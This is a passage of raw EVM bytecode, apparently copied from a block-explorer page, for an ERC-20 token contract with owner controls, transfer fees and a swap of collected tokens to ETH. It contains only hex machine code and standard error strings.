ffffffff161415611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d906125e2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290612674565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290612706565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e9919061232b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612798565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce9061282a565b60405180910390fd5b6000821161141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906128bc565b60405180910390fd5b601060149054906101000a900460ff16156114415761143a848484611849565b9050611780565b600061144c30610a14565b9050601060149054906101000a900460ff161580156114b55750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114cd5750601060159054906101000a900460ff165b156114f857601060169054906101000a900460ff16156114ed57600c5490505b6114f78186611a1c565b5b611581836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116675750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167b57611676868686611cf4565b61167d565b835b90506116d181600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611771919061232b565b60405180910390a36001925050505b9392505050565b60008383111582906117cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c69190612171565b60405180910390fd5b50600083856117de919061290b565b9050809150509392505050565b60008082846117fa919061293f565b90508381101561183f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611836906129e1565b60405180910390fd5b8091505092915050565b60006118d4826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196982600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a09919061232b565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a5457611a53612a01565b5b604051908082528060200260200182016040528015611a825781602001602082028036833780820191505090505b5090503081600081518110611a9a57611a99612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae957611ae8612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bb49190612a74565b81600281518110611bc857611bc7612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c66959493929190612b9a565b600060405180830381600087803b158015611c8057600080fd5b505af1158015611c94573d6000803e3d6000fd5b5050505060004790506000811115611cd357611cd2600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f1b565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7c57611d756064611d6760095486611f6690919063ffffffff16565b611fe190919063ffffffff16565b9050611dfa565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df957611df66064611de8600a5486611f6690919063ffffffff16565b611fe190919063ffffffff16565b90505b5b6000811115611efe57611e5581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef5919061232b565b60405180910390a35b611f11818461202b90919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f61573d6000803e3d6000fd5b505050565b600080831415611f795760009050611fdb565b60008284611f879190612bf4565b9050828482611f969190612c7d565b14611fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcd90612d20565b60405180910390fd5b809150505b92915050565b600061202383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b600061206d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611787565b905092915050565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612171565b60405180910390fd5b50600083856120cb9190612c7d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121125780820151818401526020810190506120f7565b83811115612121576000848401525b50505050565b6000601f19601f8301169050919050565b6000612143826120d8565b61214d81856120e3565b935061215d8185602086016120f4565b61216681612127565b840191505092915050565b6000602082019050818103600083015261218b8184612138565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121c382612198565b9050919050565b6121d3816121b8565b81146121de57600080fd5b50565b6000813590506121f0816121ca565b92915050565b6000819050919050565b612209816121f6565b811461221457600080fd5b50565b60008135905061222681612200565b92915050565b6000806040838503121561224357612242612193565b5b6000612251858286016121e1565b925050602061226285828601612217565b9150509250929050565b60008115159050919050565b6122818161226c565b82525050565b600060208201905061229c6000830184612278565b92915050565b6000819050919050565b60006122c76122c26122bd84612198565b6122a2565b612198565b9050919050565b60006122d9826122ac565b9050919050565b60006122eb826122ce565b9050919050565b6122fb816122e0565b82525050565b600060208201905061231660008301846122f2565b92915050565b612325816121f6565b82525050565b6000602082019050612340600083018461231c565b92915050565b60008060006060848603121561235f5761235e612193565b5b600061236d868287016121e1565b935050602061237e868287016121e1565b925050604061238f86828701612217565b9150509250925092565b6123a2816121b8565b82525050565b60006020820190506123bd6000830184612399565b92915050565b600060ff82169050919050565b6123d9816123c3565b82525050565b60006020820190506123f460008301846123d0565b92915050565b6000602082840312156124105761240f612193565b5b600061241e848285016121e1565b91505092915050565b600061243282612198565b9050919050565b61244281612427565b82525050565b600060208201905061245d6000830184612439565b92915050565b6000806040838503121561247a57612479612193565b5b6000612488858286016121e1565b9250506020612499858286016121e1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ea57607f821691505b602082108114156124fe576124fd6124a3565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061253a6020836120e3565b915061254582612504565b602082019050919050565b600060208201905081810360008301526125698161252d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006125cc6026836120e3565b91506125d782612570565b604082019050919050565b600060208201905081810360008301526125fb816125bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061265e6024836120e3565b915061266982612602565b604082019050919050565b6000602082019050818103600083015261268d81612651565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126f06022836120e3565b91506126fb82612694565b604082019050919050565b6000602082019050818103600083015261271f816126e3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127826025836120e3565b915061278d82612726565b604082019050919050565b600060208201905081810360008301526127b181612775565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128146023836120e3565b915061281f826127b8565b604082019050919050565b6000602082019050818103600083015261284381612807565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006128a66029836120e3565b91506128b18261284a565b604082019050919050565b600060208201905081810360008301526128d581612899565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612916826121f6565b9150612921836121f6565b925082821015612934576129336128dc565b5b828203905092915050565b600061294a826121f6565b9150612955836121f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561298a576129896128dc565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129cb601b836120e3565b91506129d682612995565b602082019050919050565b600060208201905081810360008301526129fa816129be565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612a6e816121ca565b92915050565b600060208284031215612a8a57612a89612193565b5b6000612a9884828501612a5f565b91505092915050565b6000819050919050565b6000612ac6612ac1612abc84612aa1565b6122a2565b6121f6565b9050919050565b612ad681612aab565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612b11816121b8565b82525050565b6000612b238383612b08565b60208301905092915050565b6000602082019050919050565b6000612b4782612adc565b612b518185612ae7565b9350612b5c83612af8565b8060005b83811015612b8d578151612b748882612b17565b9750612b7f83612b2f565b925050600181019050612b60565b5085935050505092915050565b600060a082019050612baf600083018861231c565b612bbc6020830187612acd565b8181036040830152612bce8186612b3c565b9050612bdd6060830185612399565b612bea608083018461231c565b9695505050505050565b6000612bff826121f6565b9150612c0a836121f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c4357612c426128dc565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c88826121f6565b9150612c93836121f6565b925082612ca357612ca2612c4e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d0a6021836120e3565b9150612d1582612cae565b604082019050919050565b60006020820190508181036000830152612d3981612cfd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a8d8e88958f30279c94486de20aca0965d5ad743828c0399aad0f074aa05975164736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806382eefb43116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b806395d89b41116100c657806395d89b41146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b806382eefb431461048d5780638da5cb5b146104b8578063914eb66a146104e3576101c2565b806339509351116101595780634a74bb02116101335780634a74bb02146103bd5780635342acb4146103e8578063557ed1ba1461042557806370a0823114610450576101c2565b806339509351146103185780633ecad27114610355578063405ac9e814610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612171565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061222c565b610797565b6040516102269190612287565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b6040516102519190612301565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c919061232b565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612346565b6107e5565b6040516102b99190612287565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a8565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123df565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a919061222c565b6108fc565b60405161034c9190612287565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123fa565b6109af565b6040516103899190612287565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b4919061232b565b60405180910390f35b3480156103c957600080fd5b506103d26109d9565b6040516103df9190612287565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906123fa565b6109ec565b60405161041c9190612287565b60405180910390f35b34801561043157600080fd5b5061043a610a0c565b604051610447919061232b565b60405180910390f35b34801561045c57600080fd5b50610477600480360381019061047291906123fa565b610a14565b604051610484919061232b565b60405180910390f35b34801561049957600080fd5b506104a2610a5d565b6040516104af919061232b565b60405180910390f35b3480156104c457600080fd5b506104cd610a63565b6040516104da91906123a8565b60405180910390f35b3480156104ef57600080fd5b506104f8610a8c565b005b34801561050657600080fd5b5061050f610bdf565b60405161051c9190612171565b60405180910390f35b34801561053157600080fd5b5061054c6004803603810190610547919061222c565b610c71565b6040516105599190612287565b60405180910390f35b34801561056e57600080fd5b506105896004803603810190610584919061222c565b610d3e565b6040516105969190612287565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a8565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a8565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612448565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612287565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612463565b610de0565b60405161067f919061232b565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123fa565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d3919061232b565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123fa565b610f61565b005b606060018054610714906124d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124d2565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611123565b848461112b565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f6565b506108b4846107ff611123565b6108af85604051806060016040528060288152602001612d4160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b61112b565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611123565b846109a0856006600061091a611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b61112b565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600c54905090565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a94611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1890612550565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bee906124d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906124d2565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610d34610c7e611123565b84610d2f85604051806060016040528060258152602001612d696025913960066000610ca8611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b61112b565b6001905092915050565b6000610d52610d4b611123565b84846112f6565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612550565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612550565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d906125e2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290612674565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290612706565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e9919061232b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612798565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ce9061282a565b60405180910390fd5b6000821161141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906128bc565b60405180910390fd5b601060149054906101000a900460ff16156114415761143a848484611849565b9050611780565b600061144c30610a14565b9050601060149054906101000a900460ff161580156114b55750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114cd5750601060159054906101000a900460ff165b156114f857601060169054906101000a900460ff16156114ed57600c5490505b6114f78186611a1c565b5b611581836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116675750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167b57611676868686611cf4565b61167d565b835b90506116d181600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611771919061232b565b60405180910390a36001925050505b9392505050565b60008383111582906117cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c69190612171565b60405180910390fd5b50600083856117de919061290b565b9050809150509392505050565b60008082846117fa919061293f565b90508381101561183f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611836906129e1565b60405180910390fd5b8091505092915050565b60006118d4826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196982600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a09919061232b565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff811115611a5457611a53612a01565b5b604051908082528060200260200182016040528015611a825781602001602082028036833780820191505090505b5090503081600081518110611a9a57611a99612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110611ae957611ae8612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bb49190612a74565b81600281518110611bc857611bc7612a30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611c66959493929190612b9a565b600060405180830381600087803b158015611c8057600080fd5b505af1158015611c94573d6000803e3d6000fd5b5050505060004790506000811115611cd357611cd2600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f1b565b5b50506000601060146101000a81548160ff0219169083151502179055505050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7c57611d756064611d6760095486611f6690919063ffffffff16565b611fe190919063ffffffff16565b9050611dfa565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611df957611df66064611de8600a5486611f6690919063ffffffff16565b611fe190919063ffffffff16565b90505b5b6000811115611efe57611e5581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ef5919061232b565b60405180910390a35b611f11818461202b90919063ffffffff16565b9150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f61573d6000803e3d6000fd5b505050565b600080831415611f795760009050611fdb565b60008284611f879190612bf4565b9050828482611f969190612c7d565b14611fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcd90612d20565b60405180910390fd5b809150505b92915050565b600061202383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b600061206d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611787565b905092915050565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612171565b60405180910390fd5b50600083856120cb9190612c7d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121125780820151818401526020810190506120f7565b83811115612121576000848401525b50505050565b6000601f19601f8301169050919050565b6000612143826120d8565b61214d81856120e3565b935061215d8185602086016120f4565b61216681612127565b840191505092915050565b6000602082019050818103600083015261218b8184612138565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121c382612198565b9050919050565b6121d3816121b8565b81146121de57600080fd5b50565b6000813590506121f0816121ca565b92915050565b6000819050919050565b612209816121f6565b811461221457600080fd5b50565b60008135905061222681612200565b92915050565b6000806040838503121561224357612242612193565b5b6000612251858286016121e1565b925050602061226285828601612217565b9150509250929050565b60008115159050919050565b6122818161226c565b82525050565b600060208201905061229c6000830184612278565b92915050565b6000819050919050565b60006122c76122c26122bd84612198565b6122a2565b612198565b9050919050565b60006122d9826122ac565b9050919050565b60006122eb826122ce565b9050919050565b6122fb816122e0565b82525050565b600060208201905061231660008301846122f2565b92915050565b612325816121f6565b82525050565b6000602082019050612340600083018461231c565b92915050565b60008060006060848603121561235f5761235e612193565b5b600061236d868287016121e1565b935050602061237e868287016121e1565b925050604061238f86828701612217565b9150509250925092565b6123a2816121b8565b82525050565b60006020820190506123bd6000830184612399565b92915050565b600060ff821690509